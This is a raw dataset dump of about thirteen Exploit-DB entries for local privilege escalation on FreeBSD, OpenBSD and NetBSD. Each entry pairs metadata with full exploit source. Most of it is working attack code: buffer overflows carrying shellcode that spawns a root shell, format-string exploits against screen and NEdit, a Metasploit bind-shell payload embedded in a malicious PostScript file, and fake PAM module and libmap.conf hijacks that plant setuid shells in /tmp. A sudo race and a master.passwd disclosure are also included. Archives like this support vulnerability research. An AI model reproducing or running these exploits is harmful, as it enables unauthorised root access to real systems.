deardaniel/secdata-raw huggingface dataset:
Exploit-DB #287
Description: FreeBSD 3.5.1/4.2 - Ports Package 'elvrec' Local Privilege Escalation
Type: local
Platform: bsd
Date: 2001-03-03
Author: dethy

Exploit:
/*
 * ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit
 *
 * vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1
 * 
 * The above two packages contain a file recovery utility 'elvrec', installed
 * suid root(4755) by default. The utility is subject to a buffer overflow 
 * leading to root privileges:
 *
 * Usage: ./elvwreck <offset> <alignment>
 * 
 * dethy@synnergy.net // www.synnergy.net
 * 28 Feb 2001.
 *
 */ 

#include <stdio.h>
#include <stdlib.h>
#define PROG	"/usr/local/bin/elvrec"
#define VULN	608
#define BSIZE	1024
#define NOP	0x90
#define ESP	0xbfbff92c	// FreeBSD 4.2
#define OFFSET	0
#define EATME	1		// byte alignment

char shellcode[]= 
  "\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
  "\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
  "\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
  "\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
  "\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
  "\x02\x02\x02/bin/sh.-c.sh";

int main(int argc, char *argv[]) {
  char buffer[BSIZE];
  long address=ESP;
  int i, offset, align;

  if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); } 
  else { offset = OFFSET; align = EATME; }

  address += offset;
  fprintf(stderr, "\n* using ret %#x -> align %d -> offset %d\n\n", address, align, offset); 

  for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }
  for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }
  memcpy(buffer+i, shellcode, strlen(shellcode));
  buffer[BSIZE] = '\0';

  if(execlp(PROG, "elvrec", buffer, 0)) {
    fprintf(stderr, "Unable to execute %s\n\n", PROG);
    exit(1);
  }
}


// milw0rm.com [2001-03-03]
Exploit-DB #286
Description: FreeBSD 3.5.1/4.2 - Ports Package 'xklock' Local Privilege Escalation
Type: local
Platform: bsd
Date: 2001-03-03
Author: dethy

Exploit:
/*
 * xklock - FreeBSD 3.5.1 & 4.2 ports package local root exploit
 * 
 * The X key lock program contain several exploitable buffer overflows
 * in command line arguments aswell as the 'JNAME' environment variable.
 * xklock is installed setuid root by default.
 * This POC exploit (ab)uses the -bg arg, brute force offset if required.
 *
 * Usage: ./exklock <offset>
 *
 * dethy@synnergy.net // www.synnergy.net
 * 20 Feb 2001.
 *
 */ 

#include <stdio.h>
#include <stdlib.h>

#define EGGSIZE 1024
#define RETSIZE 264
#define NOP 0x90
#define OFFSET 0

char shellcode[]= // execve() freebsd x86
	"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
	"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
	"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
	"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
	"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
	"\x02\x02\x02/bin/sh.-c.sh";


u_long get_sp(void) { __asm__("movl %esp,%eax"); }

int main(int argc, char *argv[]) {
 char egg[EGGSIZE], ret[RETSIZE];
 int i, eggsize = EGGSIZE, retsize = RETSIZE, nop = NOP, offset=OFFSET;
 long *address;
  
 if(argc > 1){ offset = atoi(argv[1]); }
 (char *)address = get_sp - offset;
 fprintf(stderr, "Using addr: 0x%x\n", address);

 memset(egg, nop, eggsize);
 memcpy(egg+(eggsize - strlen(shellcode) - 1), shellcode, strlen(shellcode));
 for(i=0; i < retsize; i+=4) *(int *)&ret[i]=address;

 if(execle("/usr/local/bin/xklock", egg, "-bg", ret, NULL, NULL)) {
  fprintf(stderr,"Unable to execute /usr/local/bin/xklock\n");
  exit(1);
 }
}


// milw0rm.com [2001-03-03]
Exploit-DB #1311
Description: FreeBSD 4.x / < 5.4 - 'master.passwd' Disclosure
Type: local
Platform: bsd
Date: 2005-11-09
Author: kingcope

Exploit:
/*
** FreeBSD master.passwd disclosure exploit
** by kcope in 2005, kingcope[at]gmx.net
** thanks to revoguard
** just compile and execute .. look into the kmem file
** it contains the master.passwd
** tested on unpatched FreeBSD 4.11-RELEASE
** advisory: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-05:02.sendfile.asc
** +++KEEP PRIV8+++
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/stat.h>
#include <stdio.h>
#include <fcntl.h>
#include <netinet/in.h>

#define BUF_SIZ 4096

void dolisten() {
       int s,c;
       struct sockaddr_in addr;
       struct sockaddr_in cli;
       socklen_t cli_size;
       char buf[BUF_SIZ];
       FILE *f=fopen("kmem", "w");

       addr.sin_addr.s_addr = INADDR_ANY;
       addr.sin_port = htons(31337);
       addr.sin_family = AF_INET;

       s = socket(PF_INET, SOCK_STREAM, 0);
       if (bind(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
       {
               perror("bind() failed");
               exit(1);
       }

       listen(s, 3);

       c = accept(s, (struct sockaddr*) &cli, &cli_size);

       while (recv(c, buf, sizeof(buf) - 1, 0) > 0) {
               fwrite(buf, sizeof(buf), 1, f);
       }

}

int main() {
       int input_fd,fd,s,k;
       struct stat file_info;
       off_t offset = 0;
               FILE *f;
       int i=0;
       struct sockaddr_in addr;
               char st[]="A";

               f=fopen("sendfile1", "w");
               for (i=0; i!=64000000; i++) {
                       fwrite(st, 1, 1, f);
               }
               fclose(f);

       input_fd = open ("sendfile1", O_RDWR);
       fstat (input_fd, &file_info);

       if (fork() != 0) {
       sleep(2);
               s = socket(PF_INET, SOCK_STREAM, 0);

               addr.sin_addr.s_addr = INADDR_ANY;
               addr.sin_port = htons(31337);
               addr.sin_family = AF_INET;

               if (connect(s, (struct sockaddr*) &addr, sizeof(addr)) == -1)
               {
                       perror("connect() failed");
                       return 2;
               }

               if (fork() != 0) {
               if (sendfile (input_fd, s, offset, 64000000, NULL, NULL, 0) == -1) {
                       perror("sendfile()");
               return -1;
               }
               } else {
                       f=fopen("sendfile1", "w");
                       fclose(f);
                       for (k=0;k!=10;k++)
                               system("/usr/bin/chsh -s /bin/sh");
                       wait();
               }
               } else {
                       dolisten();
                       wait();
               }
       return 0;
}

// milw0rm.com [2005-11-09]
Exploit-DB #3578
Description: FreeBSD mcweject 0.9 'Eject' - Local Buffer Overflow / Local Privilege Escalation
Type: local
Platform: bsd
Date: 2007-03-26
Author: harry

Exploit:
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

  char buf[LEN];
  char* ptr;
  char* arg[4];
  unsigned int ret, i;
  char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
                   "\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
                   "\x80\xe8\xe4\xff\xff\xff/bin/sh";
  // hardcoded... too boneidle to fix this
  ret = 0xbfbfee16;
  char envshell[4096];
  ptr = envshell;
  for (i = 0; i < 4096 - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
  *(ptr) = 0x0;
  memcpy (envshell, "BLEH=",5);
  putenv(envshell);

  memset (buf, 0x41, sizeof(buf));
  buf[LEN-5] = (char) ( 0x000000ff & ret);
  buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
  buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
  buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
  buf[LEN-1] = 0x0;

  arg[0] = "/usr/local/sbin/eject";
  arg[1] = "-t";
  arg[2] = buf;
  arg[3] = NULL;

  execve (arg[0], arg, environ);

  return 0;
}

// milw0rm.com [2007-03-26]
Exploit-DB #14406
Description: Ghostscript - '.PostScript' File Stack Overflow
Type: local
Platform: bsd
Date: 2010-07-18
Author: Rodrigo Rubira Branco

Exploit:
##########################################################################
# Check Point Software Technologies - Vulnerability Discovery Team (VDT) #
# Rodrigo Rubira Branco - <rbranco *noSPAM* checkpoint.com>		 #
#									 #
# GhostScript Stack Overflow 						 #
#									 #	
##########################################################################

# bsd/x86/shell_bind_tcp - 214 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# AppendExit=false, PrependSetresuid=false, 
# PrependSetuid=false, LPORT=4444, RHOST=, 
# PrependSetreuid=false
my $buf = 
"\x54\x5a\xda\xd1\xd9\x72\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x43" .
"\x43\x43\x43\x43\x43\x52\x59\x56\x54\x58\x33\x30\x56\x58" .
"\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42" .
"\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" .
"\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x50\x31\x49\x50" .
"\x46\x30\x45\x38\x4b\x4f\x44\x42\x42\x31\x51\x4c\x4d\x59" .
"\x4b\x57\x50\x50\x43\x5a\x45\x51\x42\x4a\x44\x42\x42\x4a" .
"\x44\x50\x4e\x50\x45\x31\x48\x4d\x4b\x30\x51\x47\x46\x30" .
"\x46\x30\x43\x5a\x45\x38\x51\x48\x48\x4d\x4b\x30\x4d\x59" .
"\x51\x57\x4a\x4c\x48\x30\x43\x5a\x48\x4d\x4d\x50\x4e\x50" .
"\x45\x4e\x48\x4d\x4d\x50\x50\x50\x50\x50\x43\x5a\x51\x4a" .
"\x50\x58\x48\x4d\x4d\x50\x4b\x4f\x50\x4f\x4a\x44\x43\x49" .
"\x4b\x46\x46\x30\x42\x48\x46\x4f\x46\x4f\x44\x33\x42\x48" .
"\x43\x58\x46\x4f\x43\x52\x45\x39\x42\x4e\x4b\x39\x4b\x53" .
"\x46\x30\x46\x34\x50\x53\x50\x50\x48\x30\x47\x4b\x48\x4d" .
"\x4d\x50\x41\x41";

$pkt = "e!PS".
"A" x 500 . "[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]9aaa".
"\x40\xd9\xbf\xbf". #Shellcode Addr
"bccccddd".
"\xef\xbe\xbf\xbf".
"ffff".
"\xff\xbf" x 100 .
"C" x (1200 - length($buf)) . $buf . "Z" x 100; 

print STDERR "Check Point Vulnerability Discovery Team (VDT)\n";
print STDERR "GhostScript 8.70 exploit for FreeBSD 8.0!\n";
print STDERR "Rodrigo Rubira Branco (BSDaemon)\n";

print STDERR "\nCreating evil pdf ...";

open(F,">crash.pdf");

print F $pkt;

close(F);

print STDERR " d0ne!\n";
print "Now print it via cupsd!\n";
Exploit-DB #20191
Description: Juergen Weigert screen 3.9 - User Supplied Format String
Type: local
Platform: bsd
Date: 2000-09-05
Author: IhaQueR@IRCnet

Exploit:
// source: https://www.securityfocus.com/bid/1641/info

Various format string vulnerabilities exist in versions 3.9.5 and prior of 'screen' that may allow local users to elevate their privileges. If screen is setuid root, it is possible to alter the contents of the variable which stores the user id.


/****************************************************************
*
*
*  Screen 3.7.6 (and others) local
exploit                                                                *

*  by
IhaQueR@IRCnet
*
*
*
****************************************************************/



#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>



#define TMPBUFSIZE 4096

#define SCREENRC "/usr/home/paul/.screenrc"
#define SCREEN "/usr/bin/screen"

#define AREP 1
#define BUFOFFSET 324
#define PADDING 3
#define WRITEADDR 0x807beb4


//  some offsets grabbed from 3.7.6
//  &real_uid, &real_gid, &eff_uid, &eff_gid own_uid
//  0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
//  + 64  +64



int main(int argc, char** argv)
{
int i, l;
FILE* fp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
unsigned char* cp;
unsigned a, *p;


  if(argc != 2) {
   printf("USAGE %s offset\n", argv[0]);
   return 0;
  }

  l = atoi(argv[1]);
  printf("creating magic string\n");

  bzero(buf, TMPBUFSIZE);

/*  consume stack arguments */
  for(i=0; i<BUFOFFSET/4; i++)
   strcat(buf, "%.0d");

/*  finally write to adress */
//  for(i=0;i<9; i++)
   strcat(buf, "%n");

  if(fp = fopen(SCREENRC, "w")) {
   fprintf(fp, "vbell on\n");
   fprintf(fp, "vbell_msg '%s'\n", buf);
   fprintf(fp, "vbellwait 11111\n");
   fclose(fp);
  }
  else {
   printf("ERROR: opening %s\n", SCREENRC);
  }

/*  now create the magic dir... */
  bzero(adr, (AREP+2)*sizeof(unsigned));
  cp = adr;
  for(i=0; i<PADDING; i++) {
   *cp = 'p';
   cp++;
  }

  p = (unsigned*) cp;

  a = WRITEADDR;
  a = a + l;

  for(i=0; i<AREP; i++) {
   *p = a;
//   a += 4;
   p++;
  }

  *p = 0;

/* make dir and call screen */
  mkdir((char*)adr, 0x777);
  chdir((char*)adr);
  argv[1] = NULL;
  execv(SCREEN, argv);
}
Exploit-DB #17169
Description: NEdit 5.5 - Format String
Type: local
Platform: bsd
Date: 2011-04-14
Author: Tosh

Exploit:
# Exploit Title: Format string vulnerability in Nedit <= 5.5.
# Date: 04/13/2011
# Author: Tosh (The bug was already patched when I'd found the vuln)
# Email: tosh@tuxfamily.org
# Patch:
http://nedit.cvs.sourceforge.net/viewvc/nedit/nedit/source/preferences.c?r1=1.159&r2=1.160&view=patch
# Version: Nedit 5.5
# Tested on: FreeBSD 8.2-RELEASE
# CVE: don't found


#!/usr/bin/perl -w

use strict;

my $exit_addr = 0x0815a86c;

my $sc =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50".
         "\x54\x53\xb0\x3b\x50\xcd\x80";

my (@payload) = ("./nedit", "-import", 
pack('L',$exit_addr).pack('L',$exit_addr+1).pack('L',$exit_addr+2).pack('L',$exit_addr+3).
  
"%1021\$.8x-"."%1\$127x%1021\$n%1\$083x%1022\$n%1\$212x%1023\$n%1\$256x%1024\$n"
. $sc);

exec(@payload);
Exploit-DB #33229
Description: NetBSD 5.0.1 - 'IRET' General Protection Fault Handling Privilege Escalation
Type: local
Platform: bsd
Date: 2009-09-16
Author: Tavis Ormandy

Exploit:
/*
source: https://www.securityfocus.com/bid/36430/info

NetBSD is prone to a local privilege-escalation vulnerability.

A local attacker may exploit this issue to cause the kernel stack to become desynchronized. This may allow the attacker to gain elevated privileges or may aid in further attacks. 
*/

/* ... */
int main(int argc, char **argv)
{
  jmp_buf env;

  void handlesig(int n) {
        longjmp(env, 1);

  }
  signal(SIGSEGV, handlesig);

  if (setjmp(env) == 0) {
        ( (void(*)(void)) NULL) ();
  }

  return 0;
}

/* ... */
int main(int argc, char **argv)
{
       char baguette;
       signal(SIGABRT, (void (*)(int))&baguette);
       abort();
}
Exploit-DB #396
Description: OpenBSD - 'ftp' Local Overflow
Type: local
Platform: bsd
Date: 2002-01-01
Author: Teso

Exploit:
/* 7350-crocodile - x86/OpenBSD ftp exploit
 *
 * by lorian and scut / TESO=20
 * 
 *
 * TESO CONFIDENTIAL - SOURCE MATERIALS
 *
 * This is unpublished proprietary source code of TESO Security.
 *
 * The contents of these coded instructions, statements and computer
 * programs may not be disclosed to third parties, copied or duplicated in
 * any form, in whole or in part, without the prior written permission of
 * TESO Security. This includes especially the Bugtraq mailing list, the
 * www.hack.co.za website and any public exploit archive.
 *
 * (C) COPYRIGHT TESO Security, 2002
 * All Rights Reserved
 *
 *****************************************************************************
 *
 * greetz: synnergy, GOBBLES Security
 *
 */

#include <stdio.h>
#include <string.h>
#define RET 0xbfffeb30


#define VERSION  "0.2.0"
#define USERNAME "anonymous"
#define PASSWORD "guest@"


char shellcode[] =

"\x32\xdb\x81\xd1\xb1\x72\xcd\x83"
"\x21\x21\x31\xc2\x32\xdb\xb5\x27"
"\xcd\x71\x23\xc2\xb3\x72\xcd\x81"
"\x32\xc1\x12\xdb\xb4\x3e\xcd\x81"
"\xeb\x4f\x35\xc2\x31\xc1\x5e\xb1"
"\x32\x7d\x5e\x98\xfe\xc2\xb8\xed"
"\xcd\x79\x38\xc1\x1d\x3e\x18\xb1"
"\x3d\xcd\x82\x32\xc1\xbb\xd2\xd2"
"\xd2\xff\xf2\xdb\x39\xc1\xb2\x11"
"\x56\x75\xce\x82\x0e\x81\xc9\x13"
"\xe5\xf2\x1e\xb5\x0d\x8d\x1e\x11"
"\xcd\x21\x31\xc2\x09\x42\x21\x19"
"\x70\x48\x21\x41\x9c\xb3\x2b\x81"
"\xf1\x2d\x2e\x18\x1d\x32\x7c\xcd"
"\x82\xe2\xac\xff\xff\xff";

void mkd(char *dir)
{
        char blah[2048], *p;
        int n;
        bzero(blah, sizeof(blah));

        p = blah;
         for(n=1; n<strlen(dir); n++){
                if(dir[n] == '\xff'){
                        *p = '\xff';
                        p++;
                }
                *p = dir[n];
                p++;
        }

        printf("MKD %s\r\n", blah);
        printf("CWD %s\r\n", blah);
}

void
main (int argc, char *argv[])
{

char *buf;
char buf2[200];
char buf1[400];
char dir2[255];
char *p;
char *q;
char tmp[255];
int a;
int offset;
int i;

  if (argc > 0) offset = atoi(argv[0]);
    else offset = 1;

fprintf(stderr, "ret-addr = 0x%x\n", RET + offset);
fprintf(stderr, "shell size = %d\n", sizeof(shellcode));

dir2[231] = '\1';
memset(dir2, '\x70', 255);

        printf("user %s\r\n", USERNAME);
        printf("pass %s\r\n", PASSWORD);
        printf("cwd %s\r\n", argv[2]);

memset(buf1, 0x50, 150);
p = &buf1[sizeof(argv[0])];
q = &buf1[399];
*q = '\x00';
while(q <= p) {
        strncpy(tmp, p, 80);
        mkd(tmp);
        p+=255; }

        mkd(dir2);
        mkd(shellcode);
        mkd("bin");
        mkd("sh");

        memset(buf2, 0x30, 40);
// var 96
for(i=4; i<20; i+=4)
        *(long *)&buf2[i+1] = RET;
p = &buf2[0];
q = &buf2[50];
strncpy(tmp, p, 20);
 mkd(tmp);
 printf("pwd\r\n");
}


// milw0rm.com [2002-01-01]
Exploit-DB #36296
Description: OpenPAM - 'pam_start()' Local Privilege Escalation
Type: local
Platform: bsd
Date: 2011-11-09
Author: IKCE

Exploit:
source: https://www.securityfocus.com/bid/50607/info

OpenPAM is prone to a local privilege-escalation vulnerability.

Local attackers may exploit this issue to execute arbitrary code with superuser privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. 

#!/usr/bin/perl

# kcheckpass invoking pam_start() with user provided
# service argument, what a bad idea. OpenPAM accepts that.
# Maybe this pam_start() vulnerability is exploitable via
# other vectors as well.
# Vuln tested on a FreeBSD 8.1. It does not affect
# Linux PAM, as it is checking for / character

# (C) 2011 by some dude, meant as a PoC! Only use on your own
# machine and on your own risk!!!
#
# This commit is likely to fix the bug:
# http://trac.des.no/openpam/changeset/478/trunk/lib/openpam_configure.c
#

my $kcheckpass = "/usr/local/kde4/lib/kde4/libexec/kcheckpass";

# build suid shell
open(O,">/tmp/slam.c") or die $!;
print O<<EOC;

#include <stdio.h>
#include <unistd.h>

void __attribute__((constructor)) init()
{
	char *a[] = {"/bin/sh", NULL};
	setuid(0);
	execve(*a, a, NULL);
}
EOC
close(O);

# build fake pam module
system("gcc -fPIC -Wall -c /tmp/slam.c -o /tmp/slam.o;gcc -shared -o /tmp/slam.so /tmp/slam.o");

# build fake PAM service file
open(O,">/tmp/pamslam") or die $!;
print O<<EOP;
auth	sufficient	/tmp/slam.so
EOP
close(O);

print "We need more Elchsalami! Happy birthday dude!\n";
exec("$kcheckpass -c ../../../tmp/pamslam -m classic");
Exploit-DB #1230
Description: Qpopper 4.0.8 (FreeBSD) - Local Privilege Escalation
Type: local
Platform: bsd
Date: 2005-09-24
Author: kingcope

Exploit:
#!/bin/sh
###########################################################################
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope   ###
# tested on FreeBSD 5.4-RELEASE                                         ###
###########################################################################

POPPASSD_PATH=/usr/local/bin/poppassd
HOOKLIB=libutil.so.4

echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
 if (!geteuid()) {
 remove("/etc/libmap.conf");
 execl("/bin/sh","sh","-c","/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs /tmp/xxxx",NULL);
 }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "--- Now type ENTER ---"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi

# milw0rm.com [2005-09-24]
Exploit-DB #1087
Description: Sudo 1.3.1 < 1.6.8p (OpenBSD) - Pathname Validation Privilege Escalation
Type: local
Platform: bsd
Date: 2005-07-04
Author: RusH

Exploit:
#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sysexits.h> 
#include <sys/wait.h> 

#define SUDO "/usr/bin/sudo" 
#ifdef BUFSIZ 
#undef BUFSIZ 
#define BUFSIZ 128 
#endif 

/* 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit 
Tested under OpenBSD 3.6 sudo 1.6.7p5 
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html 
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru 
Race condition in path name, can take a while to exploit 
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince 
Fck lamerz: Saint_I, nmalykh 
All rights reserved. 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
*/ 

int main (int argc, char ** argv) 
{ 
pid_t pid; 
void * buffer; 
char * exec, * race, * path; 
if(argc != 3) 
{ 
fprintf(stderr, "r57sudo.c by __blf\n"); 
fprintf(stderr, "RusH Security Team\n"); 
fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n", 
argv[0]); 
fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n"); 
return EX_USAGE; 
} 
pid = fork(); 
if(pid == 0) 
{ 
while(1) 
{ 
exec = (char *)calloc(BUFSIZ, sizeof(char)); 
race = (char *)calloc(BUFSIZ, sizeof(char)); 
bzero(exec, sizeof(exec)); 
snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]); 
system((char *)exec); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 
} 
} 
if(pid > 0) 
{ 
while(1) 
{ 
path = (char *)calloc(BUFSIZ/2, sizeof(char)); 
snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]); 
system((char *)path); 
} 
} 
} 

// milw0rm.com [2005-07-04]
Exploit-DB #30484
Description: Systrace - Multiple System Call Wrappers Concurrency Vulnerabilities
Type: local
Platform: bsd
Date: 2007-08-09
Author: Robert N. M. Watson

Exploit:
source: https://www.securityfocus.com/bid/25258/info

Systrace is prone to multiple concurrency vulnerabilities due to its implementation of system call wrappers. This problem can result in a race condition between a user thread and the kernel.

Attackers can exploit these issues by replacing certain values in system call wrappers with malicious data to elevate privileges or to bypass auditing. Successful attacks can completely compromise affected computers. 

struct sockaddr_in *sa, restoresa;
/* Set up two addresses with INADDR_ANY. */
sa = fork_malloc(sizeof(*sa));
sa->sin_len = sizeof(*sa);
sa->sin_family = AF_INET;
sa->sin_addr.s_addr = INADDR_ANY;
sa->sin_port = htons(8888);
restoresa = *sa;
/* Create child to overwrite *sa after 500k cycles. */
pid = fork_and_overwrite_smp_afterwait(sa, &restoresa,
sizeof(restoresa), 500000);
error = bind(sock, sa, sizeof(*sa));